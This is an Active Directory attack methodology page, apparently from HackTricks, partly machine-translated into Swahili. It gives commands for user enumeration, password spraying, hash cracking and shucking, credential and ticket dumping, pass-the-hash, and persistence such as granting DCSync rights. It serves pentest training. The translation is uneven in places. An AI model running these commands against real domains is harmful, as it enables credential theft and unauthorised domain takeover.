Active Directory Methodology
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic overview
Active Directory inatoa teknolojia msingi, ikiwawezesha network administrators kuunda na kusimamia kwa ufanisi domains, users, na objects ndani ya mtandao. Imetengenezwa ili iweze kupanuka, ikirahisisha kupanga idadi kubwa ya watumiaji katika groups na subgroups zinazoweza kusimamiwa, huku ikidhibiti access rights kwenye viwango mbalimbali.
Muundo wa Active Directory unajumuisha ngazi kuu tatu: domains, trees, na forests. Domain ni mkusanyiko wa objects, kama users au devices, ambazo zinashiriki database moja. Trees ni vikundi vya domains vyenye muundo mmoja wa mizizi, na forest ni mkusanyiko wa trees nyingi zilizounganishwa kupitia trust relationships, zikifanya safu ya juu kabisa ya muundo wa shirika. Haki maalum za access na communication zinaweza kutolewa katika kila moja ya ngazi hizi.
Mambo muhimu ndani ya Active Directory ni pamoja na:
- Directory – Ina taarifa zote zinazohusiana na Active Directory objects.
- Object – Inarejea vitu ndani ya directory, ikiwa ni pamoja na users, groups, au shared folders.
- Domain – Inafanya kama chombo kwa directory objects, na inawezekana kuwa na domains nyingi ndani ya forest, kila moja ikiwa na mkusanyiko wake wa objects.
- Tree – Kundi la domains zinazoshiriki domain ya mzizi.
- Forest – Ngazi ya juu kabisa ya muundo wa shirika katika Active Directory, inayoundwa na trees kadhaa zikiwa na trust relationships kati yao.
Active Directory Domain Services (AD DS) inajumuisha huduma mbalimbali muhimu kwa usimamizi wa kati na mawasiliano ndani ya mtandao. Huduma hizi ni pamoja na:
- Domain Services – Inasawazisha uhifadhi wa data na kusimamia mwingiliano kati ya users na domains, ikijumuisha authentication na kazi za search.
- Certificate Services – Inasimamia uundaji, usambazaji, na usimamizi wa digital certificates salama.
- Lightweight Directory Services – Inasaidia applications zinazotegemea directory kupitia LDAP protocol.
- Directory Federation Services – Hutoa uwezo wa single-sign-on ili kuhalalisha watumiaji kwa web applications nyingi katika kikao kimoja.
- Rights Management – Inasaidia kulinda nyaraka za hakimiliki kwa kudhibiti usambazaji na matumizi yasiyoruhusiwa.
- DNS Service – Muhimu kwa kutatua domain names.
For a more detailed explanation check: TechTerms - Active Directory Definition
Kerberos Authentication
Ili ujifunze jinsi ya attack an AD unahitaji understand kwa undani mchakato wa Kerberos authentication.
Read this page if you still don’t know how it works.
Cheat Sheet
Unaweza kutembelea https://wadcoms.github.io/ kupata muhtasari wa haraka wa amri ambazo unaweza kukimbiza ili ku-enumerate/exploit AD.
Warning
Kerberos communication requires a full qualifid name (FQDN) for performing actions. If you try to access a machine by the IP address, it’ll use NTLM and not kerberos.
Recon Active Directory (No creds/sessions)
Ikiwa una ufikiaji wa mazingira ya AD lakini huna credentials/sessions yoyote unaweza:
- Pentest the network:
- Scan mtandao, gundua machines na ports zilizo wazi na jaribu exploit vulnerabilities au extract credentials kutoka kwao (kwa mfano, printers could be very interesting targets).
- Ku-enumerate DNS kunaweza kutoa taarifa kuhusu servers muhimu ndani ya domain kama web, printers, shares, vpn, media, n.k.
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt- Tazama General Pentesting Methodology kupata maelezo zaidi kuhusu jinsi ya kufanya hili.
- Check for null and Guest access on smb services (hii haitafanya kazi kwenye matoleo ya kisasa ya Windows):
enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>smbclient -U '%' -L //<DC IP> && smbclient -U 'guest%' -L //- Mwongozo wa kina juu ya jinsi ya ku-enumerate SMB server unaweza kupatikana hapa:
- Enumerate Ldap
nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>- Mwongozo wa kina juu ya jinsi ya ku-enumerate LDAP unaweza kupatikana hapa (lipa special attention to the anonymous access):
389, 636, 3268, 3269 - Pentesting LDAP
- Poison the network
- Kusanya credentials kwa impersonating services with Responder (../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
- Pata ufikiaji wa host kwa abusing the relay attack
- Kusanya credentials kwa exposing fake UPnP services with evil-SSDP
- OSINT:
- Chota usernames/majina kutoka kwa nyaraka za ndani, mitandao ya kijamii, services (hasa web) ndani ya mazingira ya domain na pia kutoka kwa yanayopatikana kwa umma.
- Ikiwa utapata majina kamili ya wafanyakazi wa kampuni, unaweza kujaribu conventions mbalimbali za AD username conventions (read this). Conventions zinazotumika zaidi ni: NameSurname, Name.Surname, NamSur (herufi 3 za kila jina), Nam.Sur, NSurname, N.Surname, SurnameName, Surname.Name, SurnameN, Surname.N, herufi 3 random na namba 3 random (abc123).
- Tools:
- w0Tx/generate-ad-username
- urbanadventurer/username-anarchy
User enumeration
- Anonymous SMB/LDAP enum: Angalia ukurasa wa pentesting SMB na pentesting LDAP.
- Kerbrute enum: Wakati invalid username is requested server itajibu kwa kutumia Kerberos error code KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN, ikituwezesha kubaini kuwa username ilikuwa batili. Valid usernames zitatuma au TGT katika AS-REP au error KRB5KDC_ERR_PREAUTH_REQUIRED, ikionyesha kuwa mtumiaji anahitajika kufanya pre-authentication.
- No Authentication against MS-NRPC: Kutumia auth-level = 1 (No authentication) dhidi ya MS-NRPC (Netlogon) interface kwenye domain controllers. Mbinu hiyo inaita function
DsrGetDcNameEx2baada ya ku-bind MS-NRPC interface ili kuangalia kama user au computer ipo bila credentials yoyote. Tool ya NauthNRPC inatekeleza aina hii ya enumeration. Utafiti unaweza kupatikana here
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>
Nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='<domain>',userdb=/root/Desktop/usernames.txt <IP>
msf> use auxiliary/gather/kerberos_enumusers
crackmapexec smb dominio.es -u '' -p '' --users | awk '{print $4}' | uniq
python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/NauthNRPC
- OWA (Outlook Web Access) Server
Ikiwa umepata moja ya servers hizi kwenye mtandao, unaweza pia kufanya user enumeration against it. Kwa mfano, unaweza kutumia zana MailSniper:
ipmo C:\Tools\MailSniper\MailSniper.ps1
# Get info about the domain
Invoke-DomainHarvestOWA -ExchHostname [ip]
# Enumerate valid users from a list of potential usernames
Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
# Password spraying
Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
# Get addresses list from the compromised mail
Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
Warning
You can find lists of usernames in this github repo and this one (statistically-likely-usernames).
However, you should have the name of the people working on the company from the recon step you should have performed before this. With the name and surname you could used the script namemash.py to generate potential valid usernames.
Kujua jina la mtumiaji mmoja au kadhaa
Sawa, hivyo unajua tayari una jina halali la mtumiaji lakini hakuna nywila… Kisha jaribu:
- ASREPRoast: Ikiwa mtumiaji hana sifa DONT_REQ_PREAUTH unaweza kuomba ujumbe wa AS_REP kwa mtumiaji huyo ambao utajumuisha baadhi ya data zilizofichwa kwa kutumia mchakato unaotokana na nywila ya mtumiaji.
- Password Spraying: Tujaribu nywila zinazotumika zaidi kwa kila mmoja wa watumiaji walioibuliwa; labda baadhi ya watumiaji wanatumia nywila dhaifu (kumbuka sera ya nywila!).
- Note that you can also spray OWA servers to try to get access to the users mail servers.
Password Spraying / Brute Force
LLMNR/NBT-NS Poisoning
Huenda ukaweza kupata baadhi ya challenge hashes za ku-crack kwa poisoning baadhi ya protocols za network:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
NTLM Relay
Ikiwa umefanikiwa kuorodha Active Directory utapata barua pepe zaidi na uelewa bora wa network. Huenda ukaweza kulazimisha NTLM relay attacks ili kupata ufikiaji wa mazingira ya AD.
Steal NTLM Creds
Ikiwa unaweza kupata ufikiaji wa PC nyingine au shares kwa kutumia null au guest user unaweza wekea files (kama SCF file) ambazo ikiwa zitafunguliwa zitasababisha NTLM authentication dhidi yako ili uweze kuiba NTLM challenge na kuicrack:
Hash Shucking & NT-Candidate Attacks
Hash shucking huchukulia kila NT hash unayomiliki kama candidate password kwa formats zingine, zinazofanya kazi polepole, ambazo key material zinatokana moja kwa moja na NT hash. Badala ya brute-forcing passphrases ndefu katika Kerberos RC4 tickets, NetNTLM challenges, au cached credentials, unaingiza NT hashes katika Hashcat’s NT-candidate modes na unaacha ithibitishe password reuse bila kamwe kujua plaintext. Hii ni yenye nguvu hasa baada ya kompromisi ya domain ambapo unaweza kuvuna maelfu ya NT hashes za sasa na za kihistoria.
Tumia shucking wakati:
- Una NT corpus kutoka DCSync, SAM/SECURITY dumps, au credential vaults na unahitaji kujaribu reuse katika domains/forests.
- Unapokamata RC4-based Kerberos material (
$krb5tgs$23$,$krb5asrep$23$), NetNTLM responses, au DCC/DCC2 blobs. - Unataka kuthibitisha kwa haraka reuse ya passphrases ndefu zisizoweza ku-crack na papo hapo pivot via Pass-the-Hash.
Mbinu hii haitumii dhidi ya aina za encryption ambazo funguo sio NT hash (mf. Kerberos etype 17/18 AES). Ikiwa domain inalazimisha AES-tu, lazima urudi kwenye regular password modes.
Building an NT hash corpus
- DCSync/NTDS – Tumia
secretsdump.pyna history kupata set kubwa zaidi ya NT hashes (na thamani zao za zamani):
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt
History entries huongeza sana candidate pool kwa sababu Microsoft inaweza kuhifadhi hadi 24 previous hashes kwa kila akaunti. Kwa njia zaidi za kuvuna siri za NTDS ona:
- Endpoint cache dumps –
nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa(au Mimikatzlsadump::sam /patch) hutoa data za SAM/SECURITY za local na cached domain logons (DCC/DCC2). Fanya deduplicate na ongeza hashes hizo kwenye orodha ile ilent_candidates.txt. - Track metadata – Hifadhi username/domain iliyotoa kila hash (hata kama wordlist ina hex tu). Matching hashes zinaonyesha mara moja ni principal gani anatumia tena nywila baada ya Hashcat kuchapisha candidate aliyeshinda.
- Upende candidates kutoka forest ileile au trusted forest; hivyo kunaboresha nafasi ya overlap wakati wa shucking.
Hashcat NT-candidate modes
| Hash Type | Password Mode | NT-Candidate Mode |
|---|---|---|
| Domain Cached Credentials (DCC) | 1100 | 31500 |
| Domain Cached Credentials 2 (DCC2) | 2100 | 31600 |
| NetNTLMv1 / NetNTLMv1+ESS | 5500 | 27000 |
| NetNTLMv2 | 5600 | 27100 |
| Kerberos 5 etype 23 AS-REQ Pre-Auth | 7500 | N/A |
| Kerberos 5 etype 23 TGS-REP (Kerberoast) | 13100 | 35300 |
| Kerberos 5 etype 23 AS-REP | 18200 | 35400 |
Vidokezo:
- NT-candidate inputs lazima zibaki raw 32-hex NT hashes. Zima rule engines (hakuna
-r, hakuna hybrid modes) kwa sababu mangling huvuruga candidate key material. - Modes hizi hazina kasi zaidi kwa asili, lakini keyspace ya NTLM (~30,000 MH/s on an M3 Max) ni takriban ~100× ya haraka kuliko Kerberos RC4 (~300 MH/s). Kupima orodha ya NT iliyochaguliwa ni bei nafuu kuliko kuchunguza nafasi yote ya nywila katika format polepole.
- K running the latest Hashcat build (
git clone https://github.com/hashcat/hashcat && make install) kwa sababu modes 31500/31600/35300/35400 zililetwa hivi karibuni. - Hapo sasa hakuna NT mode kwa AS-REQ Pre-Auth, na AES etypes (19600/19700) zinahitaji plaintext password kwa sababu funguo zao zinatokana via PBKDF2 kutoka kwa passwords za UTF-16LE, sio raw NT hashes.
Mfano – Kerberoast RC4 (mode 35300)
- Kamata RC4 TGS kwa target SPN ukitumia mtumiaji mwenye privileges za chini (ona ukurasa wa Kerberoast kwa maelezo):
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
- Shuck tiketi na orodha yako ya NT:
hashcat -m 35300 roastable_TGS nt_candidates.txt
Hashcat hutokana na kila NT candidate kuunda RC4 key na kuthibitisha $krb5tgs$23$... blob. Match inathibitisha kuwa service account inatumia moja ya NT hashes ulizonazo.
- Papo hapo pivot via PtH:
nxc smb <dc_ip> -u roastable -H <matched_nt_hash>
Unaweza pia kurecover plaintext baadaye kwa hashcat -m 1000 <matched_hash> wordlists/ ikiwa inahitajika.
Mfano – Cached credentials (mode 31600)
- Dump cached logons kutoka workstation iliyokompromiwa:
nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
- Nakili line ya DCC2 kwa domain user inayokuvutia kwenye
dcc2_highpriv.txtna uishuck:
hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
- Match iliyofanikiwa itarudisha NT hash iliyojulikana tayari kwenye orodha yako, ikithibitisha kuwa cached user anatumia tena nywila. Itumie moja kwa moja kwa PtH (
nxc smb <dc_ip> -u highpriv -H <hash>) au brute-force kwa fast NTLM mode kupata string.
Mfumo huo huo unatumika kwa NetNTLM challenge-responses (-m 27000/27100) na DCC (-m 31500). Mara match itakapotambuliwa unaweza kuanzisha relay, SMB/WMI/WinRM PtH, au ku-re-crack NT hash na masks/rules offline.
Kuorodhesha Active Directory KWA credentials/session
Kwa hatua hii unahitaji kuwa umekompromisha credentials au session ya akaunti halali ya domain. Ikiwa una credentials halali au shell kama domain user, kumbuka kwamba chaguzi zilizotajwa hapo awali bado ni mbinu za kukompromisha watumiaji wengine.
Kabla ya kuanza enumeration iliyothibitishwa unapaswa kujua nini tatizo la Kerberos double hop problem.
Uorodheshaji
Kuwahi kumkompromisha akaunti ni hatua kubwa ya kuanza kukomprmisha domain nzima, kwa sababu utaweza kuanza Active Directory Enumeration:
Kuhusiana na ASREPRoast sasa unaweza kupata kila mtumiaji aliye dhaifu, na kuhusiana na Password Spraying unaweza kupata orodha ya majina yote ya watumiaji na kujaribu nywila ya akaunti iliyokompromiwa, nywila tupu na nywila mpya zenyeahidi.
- You could use the CMD to perform a basic recon
- You can also use powershell for recon which will be stealthier
- You can also use powerview to extract more detailed information
- Another amazing tool for recon in an active directory is BloodHound. It is not very stealthy (depending on the collection methods you use), but if you don’t care about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
- Other automated AD enumeration tools are: AD Explorer, ADRecon, Group3r, PingCastle.
- DNS records of the AD as they might contain interesting information.
- A tool with GUI that you can use to enumerate the directory is AdExplorer.exe from SysInternal Suite.
- You can also search in the LDAP database with ldapsearch to look for credentials in fields userPassword & unixUserPassword, or even for Description. cf. Password in AD User comment on PayloadsAllTheThings for other methods.
- If you are using Linux, you could also enumerate the domain using pywerview.
- You could also try automated tools as:
- tomcarver16/ADSearch
- 61106960/adPEAS
- Extracting all domain users
Ni rahisi sana kupata majina yote ya watumiaji wa domain kutoka Windows (net user /domain ,Get-DomainUser au wmic useraccount get name,sid). Katika Linux, unaweza kutumia: GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username au enum4linux -a -u "user" -p "password" <DC IP>
Hata kama sehemu hii ya Enumeration inaonekana fupi, hili ndilo sehemu muhimu zaidi yote. Fungua viungo (hasa ile za cmd, powershell, powerview na BloodHound), jifunze jinsi ya kuorodhesha domain na fanya mazoezi hadi ujisikie unaelewa. Wakati wa assessment, hii itakuwa wakati wa muhimu kupata njia yako hadi DA au kuamua kuwa hakuna chochote kilichowezekana.
Kerberoast
Kerberoasting inahusisha kupata TGS tickets zinazotumika na services zilizohusishwa na akaunti za watumiaji na ku-crack encryption zao—ambazo zinategemea nywila za watumiaji—offline.
More about this in:
Remote connexion (RDP, SSH, FTP, Win-RM, etc)
Mara utakapopata baadhi ya credentials unaweza kuangalia kama una ufikiaji wa machine yoyote. Kwa ajili hiyo, unaweza kutumia CrackMapExec kujaribu kuunganishwa kwenye seva kadhaa kwa protocols tofauti, kulingana na port scans yako.
Local Privilege Escalation
Ikiwa umekompromisha credentials au session kama domain user wa kawaida na una ufikiaji kwa mtumiaji huyu kwa machine yoyote ndani ya domain unapaswa kujaribu kupata njia za kuinua privileges kwa local na kutafuta credentials. Hii ni kwa sababu ni kwa tu kwa privileges za local administrator utaweza kudump hashes za watumiaji wengine katika memory (LSASS) na kwa lokale (SAM).
Kuna ukurasa kamili katika kitabu hiki kuhusu local privilege escalation in Windows na checklist. Pia, usisahau kutumia WinPEAS.
Current Session Tickets
Ni sio kawaida utapata tiketi katika user wa sasa zinazokupa ruhusa ya kupata rasilimali zisizotarajiwa, lakini unaweza kuangalia:
## List all tickets (if not admin, only current user tickets)
.\Rubeus.exe triage
## Dump the interesting one by luid
.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
NTLM Relay
Ikiwa umefanikiwa kuorodhesha Active Directory utakuwa na barua pepe zaidi na uelewa bora wa mtandao. Unaweza kulazimisha NTLM relay attacks.
Looks for Creds in Computer Shares | SMB Shares
Sasa kwa kuwa una baadhi ya basic credentials unapaswa kuangalia kama unaweza kupata faili zozote zinazovutia zinashirikiwa ndani ya AD. Unaweza kufanya hivyo kwa mkono lakini ni kazi ya kuchosha na kurudia (na zaidi ikiwa utapata mamia ya nyaraka unazohitaji kukagua).
Follow this link to learn about tools you could use.
Steal NTLM Creds
Ikiwa unaweza kupata access kwa PCs nyingine au shares unaweza kuweka files (kama SCF file) ambazo zikifunguliwa zita-trigger NTLM authentication dhidi yako ili uweze ku-steal NTLM challenge ili ku-crack it:
CVE-2021-1675/CVE-2021-34527 PrintNightmare
This vulnerability allowed any authenticated user to compromise the domain controller.
Privilege escalation on Active Directory WITH privileged credentials/session
Kwa mbinu zifuatazo mtumiaji wa kawaida wa domain haitoshi, unahitaji some special privileges/credentials ili kufanya mashambulizi haya.
Hash extraction
Kwa bahati nzuri umefanikiwa ku-compromise some local admin account kwa kutumia AsRepRoast, Password Spraying, Kerberoast, Responder including relaying, EvilSSDP, escalating privileges locally.
Kisha, ni wakati wa dump all the hashes in memory and locally.
Read this page about different ways to obtain the hashes.
Pass the Hash
Once you have the hash of a user, you can use it to impersonate it.
Unahitaji kutumia some tool itakayefanya NTLM authentication using that hash, au unaweza kuunda sessionlogon mpya na ku-inject hash hiyo ndani ya LSASS, ili wakati wowote NTLM authentication itakapofanyika, hash hiyo itatumika. Chaguo la mwisho ndilo mimikatz hufanya.
Read this page for more information.
Over Pass the Hash/Pass the Key
Shambulio hili linalenga kutumia user NTLM hash kuomba Kerberos tickets, kama mbadala kwa kawaida Pass The Hash juu ya NTLM protocol. Kwa hiyo, linaweza kuwa hasa useful in networks where NTLM protocol is disabled na Kerberos tu inaruhusiwa kama authentication protocol.
Over Pass the Hash/Pass the Key
Pass the Ticket
In the Pass The Ticket (PTT) attack method, attackers steal a user’s authentication ticket badala ya password au hash values zao. Ticket iliyochukuliwa hutumika kisha kuiga mtumiaji, kupata access isiyoidhinishwa kwa rasilimali na huduma ndani ya mtandao.
Credentials Reuse
Ikiwa una hash au password ya local administrator unapaswa kujaribu ku-login locally kwenye PCs nyingine ukitumia hiyo.
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
Warning
Kumbuka kwamba hili linaweza kuwa linayoonekana sana na LAPS lingepunguza hilo.
MSSQL Abuse & Trusted Links
Ikiwa mtumiaji ana ruhusa za kufikia MSSQL instances, anaweza kuitumia kutekeleza amri kwenye mwenyeji wa MSSQL (ikiwa inaendesha kama SA), kunakili NetNTLM hash au hata kufanya relay attack.
Pia, ikiwa mfano wa MSSQL umepewa imani (database link) na mfano mwingine wa MSSQL. Ikiwa mtumiaji ana ruhusa kwenye database iliyothibitishwa, atakuwa na uwezo wa kutumia uhusiano wa uaminifu kutekeleza query pia kwenye mfano mwingine. Uaminifu hizi zinaweza kuunganishwa mnyororo na kwa hatua fulani mtumiaji anaweza kupata database iliyopangwa vibaya ambamo anaweza kutekeleza amri.
Links kati ya database hufanya kazi hata kupitia forest trusts.
IT asset/deployment platforms abuse
Suite za wahudumu wa tatu za inventory na deployment mara nyingi zinafichua njia zenye nguvu za kupata credentials na code execution. Tazama:
Sccm Management Point Relay Sql Policy Secrets
Unconstrained Delegation
Ikiwa utakuta kituo chochote cha Computer chenye attribute ADS_UF_TRUSTED_FOR_DELEGATION na una ruhusa za domain kwenye kompyuta hiyo, utaweza dump TGTs kutoka kwenye memory ya watumiaji wote wanaoingia kwenye kompyuta hiyo.
Kwa hivyo, ikiwa Domain Admin anaingia kwenye kompyuta, utaweza dump TGT yake na kumuiga kwa kutumia Pass the Ticket.
Shukrani kwa constrained delegation unaweza hata kuvamia kwa otomatiki Print Server (itumie matumaini kuwa itakuwa DC).
Constrained Delegation
Ikiwa mtumiaji au kompyuta anaruhusiwa kwa “Constrained Delegation” itawawezesha kumuiga mtumiaji yeyote ili kufikia baadhi ya huduma kwenye kompyuta.
Kisha, ikiwa utakamatwa hash ya mtumiaji/kompyuta hii utaweza kumuiga mtumiaji yeyote (hata domain admins) ili kufikia baadhi ya huduma.
Resourced-based Constrain Delegation
Kuwa na ruhusa ya WRITE kwenye Active Directory object ya kompyuta ya mbali kunawawezesha kupata code execution kwa kiyeo cha juu cha ruhusa:
Resource-based Constrained Delegation
Permissions/ACLs Abuse
Mtumiaji aliyevamiwa anaweza kuwa na baadhi ya ruhusa za kuvutia juu ya baadhi ya domain objects ambazo zinaweza kumruhusu kusogea upande/kupanda ngazi kwa ruhusa.
Abusing Active Directory ACLs/ACEs
Printer Spooler service abuse
Kugundua huduma ya Spool ikisikiliza ndani ya domain kunaweza kutumika kuchukua credentials mpya na kupandisha ruhusa.
Force NTLM Privileged Authentication
Third party sessions abuse
Ikiwa watumiaji wengine wanafikia mashine iliyovamiwa, inawezekana kukusanya credentials kutoka memory na hata kuchanganya beacons kwenye michakato yao ili kuwaiga.
Kwa kawaida watumiaji watafikia mfumo kupitia RDP, hivyo hapa kuna jinsi ya kufanya mashambulizi kadhaa juu ya RDP sessions za wahudumu wa tatu:
LAPS
LAPS inatoa mfumo wa kusimamia password ya Local Administrator kwenye kompyuta zilizo katika domain, kuhakikisha inarandamwa, ni ya kipekee, na hubadilishwa mara kwa mara. Password hizi zinahifadhiwa kwenye Active Directory na ufikiaji udhibitiwa kupitia ACL kwa watumiaji walioidhinishwa tu. Ukiwa na ruhusa za kutosha za kufikia password hizi, inawezekana kupindua kwenda kwenye kompyuta nyingine.
Certificate Theft
Kukusanya certificates kutoka kwa mashine iliyovamiwa kunaweza kuwa njia ya kupandisha ruhusa ndani ya mazingira:
Certificate Templates Abuse
Ikiwa template zilizo hatarishi zimewekwa, inawezekana kuzitumia kupandisha ruhusa:
Post-exploitation with high privilege account
Dumping Domain Credentials
Mara tu unapopata ruhusa za Domain Admin au bora zaidi Enterprise Admin, unaweza kudump database ya domain: ntds.dit.
More information about DCSync attack can be found here.
More information about how to steal the NTDS.dit can be found here
Privesc as Persistence
Baadhi ya mbinu zilizojadiliwa hapo awali zinaweza kutumiwa kwa ajili ya persistence.
Kwa mfano unaweza:
- Kufanya watumiaji wawe wadhifu kwa Kerberoast
Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
- Kufanya watumiaji wawe wadhifu kwa ASREPRoast
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
- Kuwapa ruhusa ya DCSync mtumiaji
Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
Silver Ticket
Shambulio la Silver Ticket linaunda Ticket Granting Service (TGS) ticket halali kwa huduma maalum kwa kutumia NTLM hash (kwa mfano, hash ya account ya PC). Njia hii inatumiwa kupata privileges za huduma.
Golden Ticket
Shambulio la Golden Ticket linahusisha mshambuliaji kupata NTLM hash ya account ya krbtgt katika mazingira ya Active Directory. Akaunti hii ni maalum kwa sababu inatumiwa kusaini zote Ticket Granting Tickets (TGTs), ambazo ni muhimu kwa uthibitisho ndani ya mtandao wa AD.
Mara mshambuliaji anapopata hash hii, wanaweza kutengeneza TGTs kwa akaunti yoyote waliyopendelea (shambulio la Silver ticket).
Diamond Ticket
Hizi ni kama golden tickets zilizofunguliwa kwa njia ambayo zinapita kwenye mifumo ya kawaida ya kugundua golden tickets.
Certificates Account Persistence
Kuwa na certificates za akaunti au uwezo wa kuziomba ni njia nzuri ya kudumu kwenye akaunti ya mtumiaji (hata kama anaibadilisha password):
Certificates Domain Persistence
Kutumia certificates pia inawezekana kudumu kwa ruhusa za juu ndani ya domain:
AdminSDHolder Group
Kituo cha AdminSDHolder katika Active Directory kinahakikisha usalama wa vikundi vyenye ruhusa (kama Domain Admins na Enterprise Admins) kwa kutumia ACL ya kawaida kwa vikundi hivi ili kuzuia mabadiliko yasiyoruhusiwa. Hata hivyo, kipengele hiki kinaweza kutumika vibaya; ikiwa mshambuliaji atabadilisha ACL ya AdminSDHolder ili kumpa mtumiaji wa kawaida ufikiaji kamili, mtumiaji huyo atapata udhibiti mpana juu ya vikundi vyote vyenye ruhusa. Kipengele hiki cha usalama, kilichokusudiwa kuwalinda, kinaweza hivyo kuleta matatizo ikiwa hakitazamwi kwa karibu.
More information about AdminDSHolder Group here.
DSRM Credentials
Ndani ya kila Domain Controller (DC), kuna akaunti ya local administrator. Kwa kupata haki za admin kwenye mashine kama hiyo, hash ya Local Administrator inaweza kuchukuliwa kwa kutumia mimikatz. Baadaye mabadiliko ya registry yanahitajika ili kuwezesha matumizi ya password hii, kuruhusu ufikiaji wa mbali kwa akaunti ya Local Administrator.
ACL Persistence
Unaweza kumwongeza mtumiaji ruhusa maalum juu ya baadhi ya domain objects ambayo yatamruhusu mtumiaji kupandisha ruhusa siku zijazo.
Abusing Active Directory ACLs/ACEs
Security Descriptors
Security descriptors hutumika kuhifadhi ruhusa ambazo object zina juu ya object hiyo. Ikiwa unaweza kufanya mabadiliko madogo kwenye security descriptor ya object, unaweza kupata ruhusa za kuvutia juu ya object hiyo bila kuwa mwanachama wa kundi lenye ruhusa.
Skeleton Key
Badilisha LSASS kwenye memory ili kuweka password ya ulimwengu wote, ikiruhusu ufikiaji kwa akaunti zote za domain.
Custom SSP
Learn what is a SSP (Security Support Provider) here.
Unaweza kuunda SSP yako mwenyewe ili kuchukua kwa plain text credentials zinazotumiwa kufikia mashine.
DCShadow
Inasajili Domain Controller mpya katika AD na kuitumia kusukuma attributes (SIDHistory, SPNs…) kwenye objects maalum bila kuacha logs zinazohusu mabadiliko. Unahitaji ruhusa za DA na kuwa ndani ya root domain.
Kumbuka kwamba ikiwa utatumia data isiyo sahihi, logs mbaya zitajitokeza.
LAPS Persistence
Tulifafanua awali jinsi ya kupandisha ruhusa ikiwa una ruhusa za kutosha kusoma LAPS passwords. Hata hivyo, password hizi pia zinaweza kutumika kudumisha persistence.
Angalia:
Forest Privilege Escalation - Domain Trusts
Microsoft inaona Forest kama mpaka wa usalama. Hii ina maana kuwa kuvamia domain moja kunaweza kupelekea kuvamiwa kwa Forest nzima.
Basic Information
A domain trust ni mekanisimu ya usalama inayomruhusu mtumiaji kutoka domain moja kufikia rasilimali katika domain nyingine. Kwa kimsingi inaunda muunganisho kati ya mifumo ya uthibitisho ya domain zote mbili, ikiruhusu uhakiki wa uthibitisho kuf流a kwa urahisi. Wakati domains zinaweka trust, zinabadilisha na kuhifadhi vifunguo maalum ndani ya Domain Controllers (DCs), ambavyo ni muhimu kwa uaminifu wa trust.
Katika mfano wa kawaida, ikiwa mtumiaji anataka kufikia huduma katika trusted domain, lazima kwanza aoombe TGT maalum inayoitwa inter-realm TGT kutoka kwa DC ya domain yake. TGT hii imefichwa kwa funguo ya trust ambayo domain zote mbili zimekubaliana. Mtumiaji kisha anaonyesha inter-realm TGT hii kwa DC ya trusted domain kupata ticket ya huduma (TGS). Baada ya DC ya trusted domain kuthibitisha inter-realm TGT kwa kutumia funguo ya trust na ikiwa ni sahihi, inatoa TGS, ikimpa mtumiaji ufikiaji wa huduma.
Hatua:
- Kompyuta ya mteja katika Domain 1 inaanza mchakato kwa kutumia NTLM hash kumwomba Ticket Granting Ticket (TGT) kutoka kwa Domain Controller (DC1) yake.
- DC1 hutoa TGT mpya ikiwa mteja amethibitishwa kwa mafanikio.
- Mteja kisha huomba inter-realm TGT kutoka DC1, ambayo inahitajika kufikia rasilimali katika Domain 2.
- Inter-realm TGT imefichwa kwa trust key inayoshirikiwa kati ya DC1 na DC2 kama sehemu ya two-way domain trust.
- Mteja huchukua inter-realm TGT hadi kwa Domain 2’s Domain Controller (DC2).
- DC2 inathibitisha inter-realm TGT kwa kutumia funguo yao ya trust na, ikiwa ni halali, inatoa Ticket Granting Service (TGS) kwa server katika Domain 2 ambayo mteja anataka kufikia.
